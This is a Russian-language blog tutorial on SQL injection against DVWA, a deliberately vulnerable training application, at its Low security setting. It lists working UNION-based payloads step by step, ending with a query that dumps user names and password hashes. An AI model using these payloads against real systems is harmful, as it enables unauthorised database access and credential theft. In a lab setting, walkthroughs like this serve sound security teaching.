#1 Уязвимость DVWA. SQL-Injection (уровень Low).
Здравствуйте, дорогие друзья.
Давайте рассмотрим уязвимости веб-приложения DVWA, в частности SQL-инъекцию на уровне Low. Думаю, Вы уже знаете, что такое SQL-инъекция, поэтому сразу перейдем к практике.
Выставим значение уровня безопасности на Low:
![dvwa security low](https://timcore.ru/wp-content/uploads/2021/04/screenshot_1-21-1024x617.png)
Перейдем на вкладку «SQL-Injection», и введем цифру 1 для примера:
![проверка на sql инъекцию](https://timcore.ru/wp-content/uploads/2021/04/screenshot_2-21.png)
Обратите внимание на вывод информации. Это говорит о том, что страничка работает корректно, но в ней есть уязвимость.
Пробуем ввести цифру 2, и получаем тот же самый вывод:
![проверка на sql инъекцию цифрой 2](https://timcore.ru/wp-content/uploads/2021/04/screenshot_3-21.png)
Нам нужно проверить, уязвима данная страница к SQL-инъекциям. Для этого вводим одинарную кавычку:
![ввод одинарной кавычки](https://timcore.ru/wp-content/uploads/2021/04/screenshot_4-21.png)
Получаем ошибку синтаксиса, а это значит, что уязвимость действительно здесь есть.
Проверим количество столбцов с помощью SQL-запросов. Команды будут выглядеть как: «1’ order by 1 #», «1’ order by 2 #»:
![1’ order by 1 #», «1’ order by 2 #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_5-19.png)
![«1’ order by 2 #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_6-19.png)
Итак, 2 столбца у нас уже есть, исходя из проверки. Введем команду «1’ order by 3 #»:
![1’ order by 3 #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_7-17-1024x392.png)
Исходя из полученной записи делаем вывод, что в таблице 2 столбца.
Теперь проверим версию базы данных, с помощью запроса «1’ union select null, version() #»:
![1’ union select null, version() #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_8-16.png)
Версия базы данных (5.0.51a-3ubuntu5), и она показана на скриншоте выше.
Теперь проверим имя пользователя, с помощью команды «1’ union select null, user() #»:
![1’ union select null, user() #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_9-15.png)
Теперь узнаем имя базы данных с помощью команды: «1’ union select null, database() #»:
![1’ union select null, database() #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_10-13.png)
База данных называется «dvwa».
Продолжим исследование уязвимости, и теперь попробуем имя таблицы от information_schema.tables. Команда: «1’ union select null, table_name from information_schema.tables #»:
![1’ union select null, table_name from information_schema.tables #](https://timcore.ru/wp-content/uploads/2021/04/screenshot_11-12.png)
Настала пора узнать захешированные пароли и имена пользователей. Это делается с помощью команды «1′ union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#»:
![1' union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#](https://timcore.ru/wp-content/uploads/2021/04/screenshot_12-11-1024x597.png)
В итоге мы узнали имена пользователей и пароли в этой базе данных.